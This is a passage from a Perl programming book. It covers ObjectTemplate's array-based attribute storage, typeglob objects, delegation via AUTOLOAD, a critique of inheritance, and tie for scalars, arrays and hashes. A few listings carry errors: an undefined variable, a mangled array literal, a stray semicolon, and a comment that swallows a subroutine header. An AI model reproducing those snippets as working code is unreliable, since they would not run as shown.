  • In fact, each instance (not just the class) can possess a unique set of attributes and can change this set at run time. The artificial intelligence community often uses this slot- or frame-based approach because it adapts itself very well to new pieces of information.

Of course, not every problem requires this degree of generality. In addition, while Perl's hash tables are fast (within 15% of the speed of arrays) and reasonably compact (key strings are not duplicated), they are not exactly inexpensive. Creating 100 objects means that you have 100 hash tables, each of which tends to optimistically allocate extra space to accommodate future insertions.

This section illustrates two alternate approaches, one using arrays and another using typeglobs. Both approaches are less general than the hash table approach but are faster and leaner. The first is a module called ObjectTemplate developed for this book.[1] The other uses typeglobs and has seen limited application in some standard CPAN modules, most notably IO and Net. I hesitate to suggest this as an alternative approach because it is way too "hackish," but I present it here to enable you to understand these standard modules.

[1] I originally posted a trial version of this approach to comp.lang.perl.misc as a module called ClassTemplate. The version presented here is a significant improvement.

8.1.1 ObjectTemplate: Attribute Storage Using Arrays

The module presented in this section uses arrays to store attributes (but not the array per object approach). Let us briefly see its usage before moving on to the implementation.

To implement the Employee class, with the attributes "name," "age," and "position," you simply inherit from ObjectTemplate, and supply a list of attribute names to a static method called attributes (exported by ObjectTemplate), as follows:

package Employee;
use ObjectTemplate;                    # Import ObjectTemplate
@ISA = qw(ObjectTemplate);             # Inherit from it.
attributes qw(name age position);      # Declare your attributes

That's all. A user of this module can now create Employee objects using a dynamically generated method called new and retrieve and modify attributes using accessor methods (also created automagically):

use Employee;
$obj = Employee->new(
                     "name" => "Norma Jean",
                     "age"  => 25
                    );  # new() created by ObjectTemplate
$obj->position("Actress");
print $obj->name, ":", $obj->age, "\n";

Note that Perl permits you to omit the trailing parentheses for any method call in which there is no ambiguity about its usage. Any word following an arrow is automatically treated as a method, as in the preceding case.

ObjectTemplate provides the following features for an inherited class:

  1. An allocator function called new. This allocates an object blessed into the inherited class. new calls initialize, which in turn can be overridden in the inherited class, as explained earlier.

  2. Accessor methods with the same name as the attributes. These methods are created in the inherited module, and everyone, including the object's own methods, gains access to the attributes only through these methods. This is because ObjectTemplate is the only module that knows how the attributes are stored. For example,

    package Employee;
sub promote {
   my $emp = shift;                          # $emp is the object
   my $current_position = $emp->position();  # Get attribute
   my $next_position    = lookup_next_position($current_position);
   $r_employee->position($next_position);    # Set attribute
}

  3. The user package can create its own custom accessor methods with the same naming convention as above; in this case, ObjectTemplate does not generate one automatically. If a custom accessor method wants access to the attribute managed by ObjectTemplate, it can use the get_attribute and set_attribute methods.

  4. new() takes an initializer list, a sequence of attribute name-value pairs.

  5. ObjectTemplate takes attribute inheritance (@ISA) into account, for both the memory layout, and the accessors. Consider

    package Employee;
use ObjectTemplate;
@ISA = qw(ObjectTemplate);
attributes qw(name age);

package HourlyEmployee;
@ISA = qw(Employee);
attributes qw(hourly_wage);

    In this example, an object of the HourlyEmployee class contains two inherited attributes, name and age, that all employees possess, and hourly_wage, that only hourly employees possess.

  6. All attributes are scalar-valued, so a multivalued attribute such as friends has to be stored as a reference:

    attributes qw(friends);
$obj->friends([J'Joe']); # an array reference to the accessor

    This is of course true of the hash table representation also.

8.1.1.1 ObjectTemplate internals overview

Figure 8.1 shows how ObjectTemplate organizes object attributes.

Figure 8.1: ObjectTemplate's attribute storage scheme

The data structure is quite simple. Instead of allocating one array or hash per object, ObjectTemplate creates only as many arrays as there are attributes (the columns shown in the figure). Each object is merely a "horizontal slice" across these attribute columns. When new() is called, it allocates a new logical row and inserts each element of the initializer array in the corresponding attribute column at the new row offset. The "object," therefore, is merely a blessed scalar containing that row index. This scheme is more space-efficient than the hash approach, because it creates so few container arrays (only as many as there are attributes), and it is faster because array accesses are always a little faster than hash accesses.

There's a slight hitch when an object is deleted. Although the corresponding row is logically free, we can't really move up the rest of the rows below, because the other object references (which are indices) and their data will get out of sync. ObjectTemplate therefore reuses deallocated (free) rows by maintaining a per-package "free list" called @_free. This is a linked list of all free rows with a scalar $_free pointing to the head of this list. Each element of this list contains the row index of the next free row. When an object is deleted, $_free points to that row, and the corresponding index in the free list points to the previous entry pointed to by $_free.

Since the freed and active rows do not overlap, we take the liberty of using one of the attribute columns (the first one) to hold @_free. This is done using typeglob aliasing. Figure 8.2 shows a snapshot of this structure.

Figure 8.2: ObjectTemplate's scheme for managing holes created by deleted objects

You might have noticed that I'm using the same identifier name, _free, for two variables, $_free and @free. Although I frown on this idea in general, I have used it here for two reasons. First, both are required for the same task; second, one typeglob alias gives us access to both variables in one shot. This is important for performance, as we shall see soon.

8.1.1.2 ObjectTemplate implementation

ObjectTemplate uses objects, typeglob aliasing, symbolic references, and eval liberally, so if you understand the code below, you can consider yourself a Perl hacker! One way to pore through this code is to read the descriptions supplied in this section while using the debugger to step through a small example that uses this module. Of course, you don't have to understand the code to use it.

package ObjectTemplate;
require Exporter;
@ObjectTemplate::ISA = qw(Exporter);
@ObjectTemplate::EXPORT = qw(attributes);

my $debugging = 0; # assign 1 to it to see code generated on the fly

# Create accessor methods, and new()
sub attributes {
    my ($pkg) = caller;
    @{"${pkg}::_ATTRIBUTES_"} = @_;
    my $code = "";
    foreach my $attr (get_attribute_names($pkg)) {
        # If a field name is "color", create a global array in the
        # calling package called @color
        @{"${pkg}::_$attr"} = ();

        # Define accessor only if it is not already present
        unless ($pkg->can("$attr")) {
            $code .= _define_accessor ($pkg, $attr);
        }
    }
    $code .= _define_constructor($pkg);
    eval $code;
    if ($@) {
       die  "ERROR defining constructor and attributes for '$pkg':"
            . "\n\t$@\n"
            . "-----------------------------------------------------"
            . $code;
    }
}

attributes uses symbolic references to create a global array called @_ATTRIBUTES that remembers the attribute names. This array is then used by get_attribute_names to access all attributes defined in the current package and all its super classes. For each such attribute, attributes creates a global array in the current package, as we saw in Figure 8.1. If an accessor has not been defined for that attribute, it calls _define_accessor to generate the method dynamically. Finally, it calls _define_constructor to create the subroutine new directly into the calling package.

sub _define_accessor {
    my ($pkg, $attr) = @_;

    # This code creates an accessor method for a given
    # attribute name. This method  returns the attribute value
    # if given no args, and modifies it if given one arg.
    # Either way, it returns the latest value of that attribute

    # qq makes this block behave like a double-quoted string
    my $code = qq{
        package $pkg;
        sub $attr {                                      # Accessor ...
            \@_ > 1 ? \$_${attr} \[\${\$_[0]}] = \$_[1]  # set
                    : \$_${attr} \[\${\$_[0]}];          # get
        }
        if (!defined \$_free) {
            # Alias the first attribute column to _free
            \*_free = \*_$attr;
            \$_free = 0;
        };

    };
    $code;
}

_define_accessor is called for every field name given to attributes and for every attribute found in the module's superclasses. For an attribute called age in the Employee module, for example, it generates the following code:

package Employee;
sub age {                                     # Accessor
     @_ ? $_age[$$_[0]] = $_[1];              # set
        : $_age[$$_[0]];                      # get
}
if (!defined $_free) {
    *_free = *_age; # Alias the first attribute column
                    #to _free
    $_free = 0;
};

$_[0] contains the object, and $_[1] contains the attribute value. Therefore $$_[0] contains the row index, and $_age[$$_[0]] contains the value of the age attribute of that object. In addition, _define_accessor aliases _free to _age if the aliases don't already exist.

sub _define_constructor {
    my $pkg = shift;
    my $code = qq{
        package $pkg;
        sub new {
            my \$class = shift;
            my \$inst_id;
            if (defined(\$_free[\$_free])) {
                \$inst_id = \$_free;
                \$_free = \$_free[\$_free];
                undef \$_free[\$inst_id];
            } else {
                \$inst_id = \$_free++;
            }
            my \$obj = bless \\\$inst_id, \$class;
            \$obj->set_attributes(\@_) if \@_;
            \$obj->initialize;
            \$obj;
        }
    };
    $code;
}

_define_constructor generates code for a constructor called new to be installed in the calling package. new checks the free list, and if it contains rows to spare, it uses the row number from the top of that list. It then undef's the head of the list, because the free list is aliased to the first attribute column, and we don't want that attribute's assessor picking up garbage values. If the free list does not contain any spare rows, the object is assigned the next logical index.

sub get_attribute_names {
    my $pkg = shift;
    $pkg = ref($pkg) if ref($pkg);
    my @result = @{"${pkg}::_ATTRIBUTES_"};
    if (defined (@{"${pkg}::ISA"})) {
        foreach my $base_pkg (@{"${pkg}::ISA"}) {
           push (@result, get_attribute_names($base_pkg));
        }
    }
    @result;
}

get_attribute_names recurses through the package's @ISA array to fetch all attribute names. This can be used by anyone requiring object meta-data (such as object persistence modules).

# $obj->set_attributes (name => 'John', age => 23);
# Or, $obj->set_attributes (['age'], [# sub set_attributes {
    my $obj = shift;
    my $attr_name;
    if (ref($_[0])) {
       my ($attr_name_list, $attr_value_list) = @_;
       my $i = 0;
       foreach $attr_name (@$attr_name_list) {
            $obj->$attr_name($attr_value_list->[$i++]);
       }
    } else {
       my ($attr_name, $attr_value);
       while (@_) {
           $attr_name = shift;
           $attr_value = shift;
           $obj->$attr_name($attr_value);
       }
    }
}

set_attributes is given a list of attribute name-value pairs and simply calls the accessor method for each attribute. It can also be called with two parameters; an array of names and an array of values.

# @attrs = $obj->get_attributes (qw(name age));
sub get_attributes {
    my $obj = shift;
    my (@retval);
    map $obj->${_}(), @_;
}

get_attributes uses map to iterate through all attribute names, setting $_ to each name in every iteration. The first part of map simply calls the corresponding accessor method using a symbolic reference. Because of some weird precedence issues, you cannot omit the curly braces in ${_}.

sub set_attribute {
    my ($obj, $attr_name, $attr_value) = @_;
    my ($pkg) = ref($obj);
    ${"${pkg}::_$attr_name"}[$$obj] = $attr_value;
}

sub get_attribute {
    my ($obj, $attr_name, $attr_value) = @_;
    my ($pkg) = ref($obj);
    return ${"${pkg}::_$attr_name"}[$$obj];
}

The get/set_attribute pair updates a single attribute. Unlike the earlier pair of methods, this pair does not call an accessor; it updates the attribute directly. We saw earlier that attributes does not attempt to create accessor methods for those that already exist. But if the custom accessors still want to use the storage scheme provided by ObjectTemplate, they can use the get/set_attribute pair. The expression ${pkg}::_$attr_name represents the appropriate column attribute, and $$obj represents the logical row. (Recall that the object is simply a reference to an array index.) These methods are clearly not as fast as the generated accessor methods, because they use symbolic references (which involve variable interpolation in a string and an extra hash lookup).

sub DESTROY {
    # release id back to free list
    my $obj = $_[0];
    my $pkg = ref($obj);
    local *_free = *{"${pkg}::_free"};
    my $inst_id = $$obj;
    # Release all the attributes in that row
    local(*attributes) = *{"${pkg}::_ATTRIBUTES_"};
    foreach my $attr (@attributes) {
        undef ${"${pkg}::_$attr"}[$inst_id];
    }
    $_free[$inst_id] = $_free;
    $_free = $inst_id;
}

DESTROY releases all attribute values corresponding to that object. This is necessary because the object is merely a reference to an array index, which, when freed, won't touch the reference counts of any of the attributes. A module defining its own DESTROY method must make sure that it always calls ObjectTemplate::DESTROY.

sub initialize { }; # dummy method, if subclass doesn't define one.

Modules are expected to override this method if they want to do specific initialization, in addition to what the automatically generated new() does.

8.1.1.3 Suggested changes to ObjectTemplate

There are (at least) two areas that could use considerable improvement. One is that get_attributes and set_attributes are slow because they always call accessor methods, even if they know which accessors are artificially provided. Because set_attributes is called by the automatically generated new, it slows down object construction dramatically. (Using this new without arguments is twice as fast as allocating an anonymous hash, but after invoking set_attributes, it is around three times slower.)

Second, custom accessor methods suffer in speed because they are forced to invoke the other slow pair, get_attribute and set_attribute. Possibly a better alternative is to dynamically generate accessor methods prefixed with an "_", so that the developer can write normal accessor methods (without the prefix), and also call these private methods.

You might also want to check out the MethodMaker module available on CPAN, and the Class::Template module that is bundled with the standard distribution. These modules also create accessor methods automatically but assume that the object representation is a hash table. If you like the interface these modules provide, you can attempt to merge their interface with the attribute storage scheme of ObjectTemplate.

8.1.2 Attribute Storage Using Typeglobs

This approach, as we mentioned earlier, is not exactly a paragon of readability and is presented here only because it is used in some freely available libraries on CPAN, like the IO and Net distributions. If you don't wish to understand how these modules work, you can easily skip this section without loss of continuity.

We learned from Chapter 3, Typeglobs and Symbol Tables, that a typeglob contains pointers to different types of values. If we somehow make a typeglob into an object reference, we can treat these value pointers as attributes and access them very quickly. Consider the following foo typeglob:

${*foo} = "Oh, my!!" ;  # Use the scalar part to store a string
@{*foo} = (10, 20);     # Use the array part to store an array
open (foo, "foo.txt");  # Use it as a filehandle

We are able to hang different types of values (at most one of each type) from just one identifier, foo. If we want many such objects, we can use the Symbol module in the Perl library to create references to dynamically created typeglobs:

use Symbol;
$obj = Symbol::gensym(); # ref to typeglob

$obj contains a reference to a typeglob. The different parts of a typeglob can be individually accessed (by replacing foo with $obj):

${*$obj} = "Oh, my!!" ;  # Use the scalar part to store a string
@{*$obj} = (10, 20);     # Use the array part to store an array
open ($obj, "foo");      # Use it as a filehandle

Clearly, this is a hideous approach for most general objects; if you need another scalar-valued attribute, for example, you have no option but to put it in the hash part of this typeglob. The reason why the IO group of modules uses this hack is that an instance of any of these modules can be treated as a filehandle and passed directly (without dereferencing) to the built-in I/O functions such as read and write. For example:

$sock = new IO::Socket( ... various parameters ...) ;
print $sock "Hello, are you there";
$message = <$sock>;

We'll use IO::Socket module extensively in the chapters on networking with sockets.[2]

[2] You don't have to know the following technique, or how the IO::Socket module is built, to use it.

Let us build a small module called File to examine this technique in greater detail. This module allows you to open a file and read the next line; in addition, it allows you to put back a line so that the next attempt to read the file returns that line:

package main;
$obj = File->open("File.pm");
print $obj->next_line();
$obj->put_back("------------------------\n");
print $obj->next_line(); # Should print the string put back above
print $obj->next_line();

Since this code opens the File module itself, it should print the following:

package File;
------------------------
use Symbol;

This module uses the scalar part of the typeglob object as a "putback" buffer, the array part of the typeglob to store all the lines read from the file, and the filehandle part of the typeglob to store the filehandle. The implementation of the File module is shown in Example 8.1.

Example 8.1: File Module, Built Using a Typeglob Representation

package File;
use Symbol;
sub open {
   my ($pkg, $filename) = @_;
   $obj = gensym();                         # Allocate a typeglob
   open ($obj, $filename) || return undef;  # Use it as a filehandle
   bless $obj, $pkg;                        # Upgrade to a File "object"
}

sub put_back {
   my ($r_obj, $line) = @_;
   ${*$r_obj} = $line;                      # The scalar part holds the
}                                           # current line

sub next_line {
   my $r_obj = $_[0];
   my $retval;
   if (${*$r_obj}) {                        # Check putback buffer
       $retval = ${*$r_obj};                #   yep, it's got stuff
       ${*$r_obj} = "";                     #   empty it.
   } else {
       $retval = <$r_obj>;                  #   no. read from file
       push(@{*$r_obj}, $retval);           #   add to history list.
   }
   $retval;
}
1;

Previous: 7.6 Resources | Advanced Perl Programming | Next: 8.2 Delegation
7.6 Resources | Book Index | 8.2 Delegation


[Chapter 8] 8.2 Delegation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

8.2 Delegation

Delegation is a technique whereby an object forwards method calls to an appointed delegate object. In the following example, an Employee class simply delegates all tax-related functionality to the $acccounting_dept object:

package Employee;
sub compute_after_tax_income {
    $me = $_[0];
    return $accounting_dept->compute_after_tax_income($me);
}

There are cases in which you want all method calls that are not handled by a class to be automatically forwarded to a delegate. This is a cinch in Perl, since the AUTOLOAD function is called when a procedure is not found within that package or its base classes:

package Employee;
sub AUTOLOAD {
    my $obj = $_[0];
    # $AUTOLOAD contains the name of the missing method

    # Never propagate DESTROY methods
    return if $AUTOLOAD =~ /::DESTROY$/;

    # Strip it off its leading package name (such as Employee::)
    $AUTOLOAD =~ s/^.*:://;
    $obj->{delegate}->$AUTOLOAD(@_); # Note, $obj is still part of @_,
                                     # so the delegated function knows
                                     # the original target
}

Notice that AUTOLOAD is called if DESTROY is not defined, and it is important that you not forward that message, or the delegate will think Perl is about to destroy it and release its resources prematurely.

This technique is often employed in the guts of client/server libraries. In a typical client/server system, the server has the "real" objects. But the system is written in such a way that a client can remotely invoke a method of the object, with familiar OO syntax. For example, if a client program wants to invoke a method on a remote bank account, it should be able to say something like this:

$account->deposit(100); # Deposit 100 bucks.

On the surface, it seems like an ordinary method call. What the library hides from you is that the deposit() functionality is actually sitting on a different machine. How is this accomplished? Well, the $account object reference is actually a reference to a lightweight proxy object on the client side. Its sole purpose is to forward calls to the remote machine (by sending messages over a socket, for example) and to wait for the response to come back. In other words, the account object is not the real account. It is only a message forwarder. It delegates its functionality to the remote object with the help of the messaging system underneath.

Previous: 8.1 Efficient Attribute Storage | Advanced Perl Programming | Next: 8.3 On Inheritance
8.1 Efficient Attribute Storage | Book Index | 8.3 On Inheritance


[Chapter 8] 8.3 On Inheritance

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

8.3 On Inheritance

I have never been quite comfortable with using inheritance liberally, and I don't subscribe to the theory that this feature is essential for software reuse. There are three related but distinct flavors of inheritance, and in this section, I'll list what I like or dislike about these aspects. The three types of inheritance are as follows:

  • Attribute inheritance

  • Implementation inheritance

  • Interface inheritance

8.3.1 Attribute Inheritance

The facility provided by a language for a subclass to inherit attributes from a base class or a structure is called attribute inheritance. While C++ and Java provide this facility, Perl doesn't. The onus is on the Perl programmer to figure out a way for a superclass and a subclass to agree on a common inheritable representation. For this reason, a hash table is a frequent choice, but not necessarily an economical one, as has been pointed out earlier.

My problem with attribute inheritance is that it introduces a tremendous amount of coupling between an inherited class and a derived class. A change in the way a base class is laid out has drastic consequences for the derived class. This is clearly a violation of encapsulation. C++ treats all attributes as private by default but then provides a keyword called "protected," whereby it makes them freely available to derived classes, while still hiding them from the general public. Bjarne Stroustrup, the creator of C++, regrets this in his excellent book The Design and Evolution of C++ [8]:

One of my concerns about protected is exactly that it makes it too easy to use a common base the way one might sloppily have used global data....In retrospect, I think that protected is a case where "good arguments" and fashion overcame my better judgement and my rules of thumb for accepting new features.

A better option is to provide accessor methods and rely on interface inheritance. More on this soon.

8.3.2 Implementation Inheritance

Perl supports only this flavor of inheritance. Implementation inheritance, like attribute inheritance, forces base and inherited classes to have a common understanding of the layout of the object's attributes; attribute inheritance is almost always required in using implementation inheritance.

Subclassing is not easy, as Erich Gamma et al. say in Design Patterns [7]:

Designing a subclass also requires an in-depth understanding of the parent class. For example, overriding one operation might require overriding another. An overridden operation might be required to call an inherited operation. And subclassing can lead to an explosion of classes, because you might have to introduce many new subclasses for even a simple extension.

They suggest using composition instead, a topic we will touch on shortly.

8.3.3 Interface Inheritance

Attribute and implementation inheritance are for the convenience of the object implementor. Interface inheritance is for the user of a package. Perl supports only implementation inheritance.

The set of publicly available methods defines an object's interface. A derived class can add to this interface by adding new methods. But whether it actually overrides a base class implementation is strictly a matter of implementation detail; from the user's point of view, it still offers the same methods.

The important thing about an interface is that it represents the contract between the user and the object. If two objects have identical interfaces, they can be interchangeably used. This substitutability aspect represents the most important feature a language or a set of components can provide.

8.3.4 Using Composition Instead

I was once convinced about the need for implementation inheritance when I was writing some widgets for Xt/Motif (GUI frameworks for the X Windows platform). This framework goes to a great extent to provide single inheritance in C (both attribute and implementation), but the result isn't easy to work with. When C++ came along, I quickly became enthusiastic about a language that supported inheritance, and attempted to implement the widget set in C++. Then when John Ousterhout's Tk came along, I marveled at the ease of creating widgets, even though it was in C and provided all the features that Motif provides (and much more). The Tk architecture used composition, not inheritance. I have been suitably chastened.

The idea of composition is for an object to be composed out of other objects. That is, it forms a has-a or uses-a relationship with other classes, instead of an is-a relationship. Many examples in published literature glorify implementation inheritance, but these turn out to be far better (simpler and more readable) candidates for composition. Take this commonly illustrated example of a class called Vice-President, inheriting from a class called Manager, inheriting from a class called Employee. It is true that a V.P. is-a Manager, who in turn is an Employee, so the case is made for attribute and implementation inheritance. But what happens when an employee is promoted? The object is forced to change its class - clearly, a terrible design. The better way to approach this issue is to realize that an employee plays one or more roles in a company (that of a manager, vice-president, or lead technical engineer), and when the employee is promoted, this role is merely updated. In other words, the Employee object uses the Role class, which for its part, captures everything to be known about that role, such as the job description, salary range, and prerequisites.

Composition is also called component-driven programming. The key to developing reusable software is to develop completely encapsulated components with well-defined and documented interfaces. Designing for inheritance has, in my experience, rarely yielded the benefit that the hype would suggest.

Perl provides the most crucial features required to create plug and play components: polymorphism and run-time binding. You can say $obj->draw(), and Perl calls the appropriate draw() method, depending on $obj's class. Since Perl is an untyped language, it makes this statement work for graphic shapes, guns, and lotteries. I value this feature much more than its support for implementation inheritance.

Previous: 8.2 Delegation | Advanced Perl Programming | Next: 8.4 Resources
8.2 Delegation | Book Index | 8.4 Resources


[Chapter 8] 8.4 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

8.4 Resources

  1. Design Patterns: Elements of Reusable Object-Oriented Software. Erich Gamma, Richard Helm, Ralph Johnson and John Vlissides. Addison-Wesley, 1994.

  2. The Design and Evolution of C++. Bjarne Stroustrup. Addison-Wesley, 1994.

Previous: 8.3 On Inheritance | Advanced Perl Programming | Next: 9. Tie
8.3 On Inheritance | Book Index | 9. Tie


[Chapter 9] Tie

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 8.4 Resources Chapter 9 Next: 9.2 Tying Arrays

9. Tie

Contents:
Tying Scalars
Tying Arrays
Tying Hashes
Tying Filehandles
Example: Monitoring Variables
Comparisons with Other Languages

Give me a wild tie brother,
One with a cosmic urge,
A tie that will swear and rip and tear,
When it sees my old blue serge.

- Stoddard King, The Ties That Bind

Normally, when you read or update a scalar, array, hash, or filehandle, Perl performs the appropriate operation on the corresponding internal data structure. Alternatively, you can use the tie keyword to bind the value (or variable) to a user-defined object, so that when you read from or write to that variable, Perl simply calls a specific method of the object it is tied to. In other words, while it provides the implementation for a "normal" variable, Perl expects a user-defined module to do so for a tied variable. Once a variable is tied, even accesses from the C API of the Perl library are delegated to the corresponding tied object.

This approach may seem like syntactic sugar, but as you'll see from the examples in this chapter, it is the syntax that gives it its power: an ordinary variable can be made to invoke a user-defined function whenever a variable is manipulated, without the user's code changing or being necessarily aware of the subterfuge. The most common use of this technique is to tie a hash variable to a module that can manipulate DBM files, which are typically disk-based hash tables (they can also be BTrees). This technique allows you to make a hash value persistent and is capable of storing much more information than can fit into available memory, while giving the impression that you are manipulating an ordinary associative array.

In the following pages, we will study how tie works with the various data types, and look at a few useful examples of this feature.

9.1 Tying Scalars

At the most basic level, there are only four things you can do with a scalar. You can create it, get or set its value, and destroy it (by ending the scope or undef'ing it). tie allows you to supply a subroutine to be called back for each of these operations.

The syntax of tie is as follows:

tie variable, classname, list;

The first parameter should be one of the four supported types described above. The second parameter is the name of a user-defined class. You are expected to have invoked use classname or require classname before calling tie.

When this statement is executed, Perl checks the type of the variable (the first parameter). It then calls the method classname->TIESCALAR(list), or TIEARRAY, TIEHASH, or TIEHANDLE, depending on whether the tied variable is a scalar, array, hash, or filehandle. It is a run-time error if this method is not present in the class. TIESCALAR() is expected to return an object, which is then internally associated with (or tied to) the given variable. Now, when you read and write to the variable, Perl internally calls object->FETCH() and object->STORE(new value), respectively. Finally, when the tied variable goes out of scope, Perl calls object->DESTROY(). Simple, isn't it?

The names FETCH, STORE, and TIESCALAR are similar to AUTOLOAD and DESTROY in that they have a special significance for Perl only under appropriate circumstances. That is, a module can have a method called FETCH, which can be used normally like any other user-defined subroutine. But if you use tie, this method assumes a special meaning.

Perl does not care about the exact data structure used for the object (whether you used a hash or ObjectTemplate). Table 9.1 shows a variable "$temperature" tied to an automatic temperature control system, which is represented by a Perl module called AC.pm.[1] An attempt to read $temperature's value is translated to a call to the temperature sensor, and an attempt to set its value translates to a command to the heating system to do what is needed.

[1] Air conditioning, not alternating current!

Table 9.1: Flow of Control in a Tie Scalar Operation

When you say:

Perl translates it to the method call:

The method looks like this:

tie $temperature,
    'AC';
$obj = AC->TIESCALAR()

Perl now "ties"

$temperature and $obj

package AC;
sub TIESCALAR {
  ...
  $ac = bless {...},
        $pkg;
  return $ac;
}
$x = $temperature;
$x = $obj->FETCH();
sub FETCH {
  $ac->get_temp();
}
$temperature = 20;
$obj->STORE(20);
sub STORE {
 ($obj, $t) = @_;
 $ac->set_temp($t);
}
untie $temperature;
#or
undef $temperature;

or when $temperature goes out of scope

$obj->DESTROY()
sub DESTROY {
}

As you can see, the AC module is an ordinary class with a constructor and three object methods (whose names happen to be special). Perl interacts with this module behind the scenes, providing the user with a much simpler interaction model. You can get the tied object as the return value of tie or invoke the tied function to get to it at any other time. Therefore the statement

$temperature = 20;

is identical to

(tied $temperature)->STORE(20);

The untie function restores the original value of the variable and also calls the object's DESTROY method.

Perl does not constrain the object's module in any way other than to expect it to provide the methods we saw earlier. It can store whatever data it wants, can have other methods, and is perfectly usable even in a non-tie context.

9.1.1 Example: Stopwatch

Let us look at a simple example of a stopwatch using a tied scalar. When you store any value into it, it notes the current time (that is, it ignores the value). When you retrieve a value from it, it returns the amount of time elapsed since the last time a store was attempted on it. This is how it is used:

use Stopwatch;
tie $s, 'Stopwatch';

# $s is scalar transparently tied to a Stopwatch object.
$s = 0;             # Writing to it forces a reset
sleep(10);          # Sleep 10 seconds
print "$s\n";       # Should print 10

The example might sometimes print 9 because of sleep's resolution.

Example 9.1 shows how Stopwatch is implemented.

Example 9.1: Stopwatch Implemented Using tie

package Stopwatch;

sub TIESCALAR {
   my ($pkg) = @_;
   my $obj = time();  # $obj stores the time at last reset.
   return (bless \$obj, $pkg);
}

sub FETCH {
   my ($r_obj) = @_;
   # Return the time elapsed since it was last reset
   return (time() - $$r_obj);
}

sub STORE {
   my ($r_obj, $val) = @_;
   # Ignore the value. Any write to it is seen as a reset
   return ($$r_obj = time());
}

1;

TIESCALAR notes the current time and returns a reference to a blessed scalar (with the current time in it). As was mentioned earlier, you are under no obligation to provide a blessed scalar reference; Perl does not care whether the object is a scalar or an array or a complex data structure. The only requirement is that it be blessed into a module that supports the FETCH and STORE methods. In this case, FETCH computes the interval between the current time (as reported by time) and the last reset time.

Incidentally, the time calculations in this module work at the granularity of only a second. If you want a finer granularity, you can use the Time::HiRes module available from CPAN, which gives microsecond resolution on Unix systems (gives access to the usleep and ualarm system calls). On Microsoft Windows systems, you can use the Win32::Timer call for millisecond-level timing.

9.1.1.1 tie works with anonymous values

The first argument to tie must boil down to a scalar, array, hash, or filehandle value ; it does not have to be a variable. The following code shows two valid examples of scalar ties:

$r = \$s;
tie $$r, 'Stopwatch';  # Indirect tie to $s

@foo = (1, 2);
tie $foo[1], 'Stopwatch';

As you can see, this facility works with the underlying values and is not associated with a variable name (unlike the trace facility in TCL).

Previous: 8.4 Resources | Advanced Perl Programming | Next: 9.2 Tying Arrays
8.4 Resources | Book Index | 9.2 Tying Arrays


[Chapter 9] 9.2 Tying Arrays

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

9.2 Tying Arrays

Tying an array to a module runs along very similar lines, as shown in Table 9.2. There are two levels at which you can work with a normal array. At one level, you can get and set the value of the entire array and the last element's index (using $#array). At another level, you can get or set individual elements and create or destroy its elements using splice, push, pop, and so on. As this book goes to print, tie handles reads and writes only to array elements and does not allow the array itself to be modified in any way. This situation is expected to be remedied in the not-too-distant future.

Table 9.2: tie and Array Access

When you say:

Perl translates it to:

tie @array, 'Foo',1,2
$obj = Foo->TIEARRAY (1,2);
$a = $array[5];
$obj->FETCH(5);
$array[5] = "aa"
$obj->STORE(5, "aa");
untie @array;
$obj->DESTROY();

One useful example of tied arrays is to emulate a bitset. If you set the 200th element to 1, the module can set the 200th bit in a bit array, using vec().

The next section shows an example of tied arrays to wrap a text file.

9.2.1 TIEARRAY Example: File as an Array

This example builds a facility called TieFile to make a text file appear as an array. If you want to examine the 20th line of foo.txt, for example, you write:

tie @lines, 'TieFile', 'foo.txt';
print $lines[20];

For simplicity, this module does not accept updates to any element.

When asked to fetch the nth line, the TieFile module shown in Example 9.2 reads the file until it reaches that line and returns it. Since it is wasteful to keep traversing the entire file every time a line is requested, TieFile keeps track of the file offsets of the beginning of each line so that when you ask it for a line that it has already visited, it knows the precise offset to seek to before reading. The object created by TIEARRAY has two fields: one to store this array of offsets and another to store the filehandle of the open file. These two fields are stored in an anonymous array. (Alternatively, you can use a hash or the ObjectTemplate module.)

Example 9.2: TieFile.pm: Mapping a File to an Array

package TieFile;
use Symbol;
use strict;
# The object constructed in TIEARRAY is an array, and these are the
# fields
my $F_OFFSETS    = 0;  # List of file seek offsets (for each line)
my $F_FILEHANDLE = 1;  # Open filehandle

sub TIEARRAY {
   my ($pkg, $filename) = @_;
   my $fh = gensym();
   open ($fh, $filename) || die "Could not open file: $!\n";
   bless [  [0],  # 0th line is at offset 0
            $fh
         ], $pkg;
}

sub FETCH {
   my ($obj, $index) = @_;
   # Have we already read this line?
   my $rl_offsets = $obj->[$F_OFFSETS];
   my $fh = $obj->[$F_FILEHANDLE];
   if ($index > @$rl_offsets) {
       $obj->read_until ($index);
   } else {
       # seek to the appropriate file offset
       seek ($fh, $rl_offsets->[$index], 0);
   }
   return (scalar <$fh>);  # Return a single line, by evaluating <$fh>
                           # in a scalar context
}

sub STORE {
   die "Sorry. Cannot update file using package TieFile\n";
}

sub DESTROY {
   my ($obj) = @_;
   # close the filehandle
   close($obj->[$F_FILEHANDLE]);
}

sub read_until {
   my ($obj, $index) = @_;
   my $rl_offsets = $obj->[$F_OFFSETS];
   my $last_index = @$rl_offsets - 1;
   my $last_offset = $rl_offsets->[$last_index];
   my $fh = $obj->[$F_FILEHANDLE];
   seek ($fh, $last_offset, 0);
   my $buf;
   while (defined($buf = <$fh>)) {
      $last_offset += length($buf);
      $last_index++;
      push (@$rl_offsets, $last_offset);
      last if $last_index > $index;
   }
}

1;

You may have noticed that this module works only if you assign strings or numbers to the tied array's elements. If you assign it a reference, it simply converts it into a string and stores it into the file, which is patently useless when the data is read back from the file. In other words, this module should ideally "serialize" the data structure pointed to by the reference before storing it into the file, and recreate it when requested. We'll have more to say on this subject in Chapter 10, Persistence.

Previous: 9.1 Tying Scalars | Advanced Perl Programming | Next: 9.3 Tying Hashes
9.1 Tying Scalars | Book Index | 9.3 Tying Hashes


[Chapter 9] 9.3 Tying Hashes

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

9.3 Tying Hashes

Accesses to tied hash tables are fully supported, unlike arrays. The tie-hash facility allows you to trap operations on the entire hash table (%h = ()), accesses to individual elements, and queries (exists, defined, each, keys, and values). Table 9.3 shows how these actions are mapped to method invocations on the tied object.

Table 9.3: tie and Hash Access

When you say:

Perl translates it to:

tie %h, 'Foo', 'a' => 1
$obj = Foo->TIEHASH('a',1);
$h{a}
$obj->FETCH ('a')
$h{a} = 1
